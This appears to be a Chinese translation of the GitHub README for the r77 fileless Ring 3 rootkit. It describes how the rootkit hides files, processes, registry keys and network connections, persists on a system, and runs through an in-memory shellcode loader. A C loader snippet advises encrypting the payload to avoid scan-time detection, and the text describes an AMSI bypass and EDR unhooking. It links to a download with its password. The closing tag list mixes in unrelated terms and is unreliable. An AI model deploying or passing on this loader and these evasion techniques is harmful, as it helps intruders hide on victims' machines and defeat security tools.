bytecode77/r77-rootkit
GitHub: bytecode77/r77-rootkit
r77 是一款无文件的 Ring 3 Rootkit,通过注入进程隐藏文件、进程及网络连接,具备持久化和动态配置能力。
Stars: 2127 | Forks: 459
# r77 Rootkit
## 无文件 Ring 3 Rootkit
r77 是一个 Ring 3 rootkit,它可以隐藏一切内容:
- 文件、目录
- 进程及 CPU/GPU 使用率
- 注册表键和值
- 服务
- TCP 和 UDP 连接
- 交接点、命名管道、计划任务
## 按前缀隐藏
所有以 `"$77"` 开头的内容都会被隐藏。

## 配置系统
动态配置系统允许按 **PID** 和按名称隐藏进程,按完整路径隐藏文件系统项,隐藏特定端口的 TCP 和 UDP 连接等。

配置位于 `HKEY_LOCAL_MACHINE\SOFTWARE\$77config`,任何进程无需提升权限即可写入。此键的 DACL 设置为授予任何用户完全访问权限。
此外,`$77config` 键会被 rootkit 隐藏。
## 安装程序
部署 r77 仅需一个文件:`Install.exe`。执行该文件可使 r77 在系统上持久化,并注入所有正在运行的进程。
`Uninstall.exe` 会完全且优雅地从系统中移除 r77。
`Install.shellcode` 是安装程序的 shellcode 等效形式。通过这种方式,可以在不释放 `Install.exe` 的情况下集成安装过程。只需将 shellcode 加载到内存中,转换为函数指针并执行即可:
```
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
```
## 执行流程
rootkit 驻留在系统内存中,不会向磁盘写入任何文件。这是通过多个阶段实现的。
此图展示了从执行安装程序到 rootkit DLL 在每个进程中运行的每个阶段。[文档](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf) 中有一章详细介绍了每个阶段的实现。

## AV/EDR 规避
使用了多种 AV 和 EDR 规避技术:
- **AMSI 绕过:** PowerShell 内联脚本通过修补 `amsi.dll!AmsiScanBuffer` 使其始终返回 `AMSI_RESULT_CLEAN` 来禁用 AMSI。使用多态技术来规避对 AMSI 绕过的特征检测。
- **DLL 解钩:** 由于 EDR 解决方案通过挂钩 `ntdll.dll` 来监视 API 调用,因此需要从磁盘加载 `ntdll.dll` 的全新副本并恢复原始节区来移除这些挂钩。否则,进程注入将被检测到。
## 测试环境
测试控制台是一个有用的工具,用于将 r77 注入到单个进程中并试用配置系统。

## 技术文档
请阅读[技术文档](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf),以全面了解 r77 及其内部原理,以及如何部署和集成它。
## 下载
[ r77 Rootkit 1.8.1.zip](https://downloads.bytecode77.com/r77Rootkit%201.8.1.zip)
(**ZIP 密码:** bytecode77)
[ Technical Documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf) ## 项目主页 [ bytecode77.com/r77-rootkit](https://bytecode77.com/r77-rootkit)
[ Technical Documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf) ## 项目主页 [ bytecode77.com/r77-rootkit](https://bytecode77.com/r77-rootkit)
标签:Conpot, DLL注入, Raspberry Pi, Ring 3, Rootkit, Shellcode, Windows安全, Zeek, 代理, 内存执行, 内核编程, 后门, 子域名枚举, 客户端加密, 技术调研, 文件隐藏, 无文件攻击, 注入, 注册表隐藏, 流量审计, 端点可见性, 系统安全, 系统防御绕过, 网络可见性, 网络连接隐藏, 进程隐藏, 隐藏技术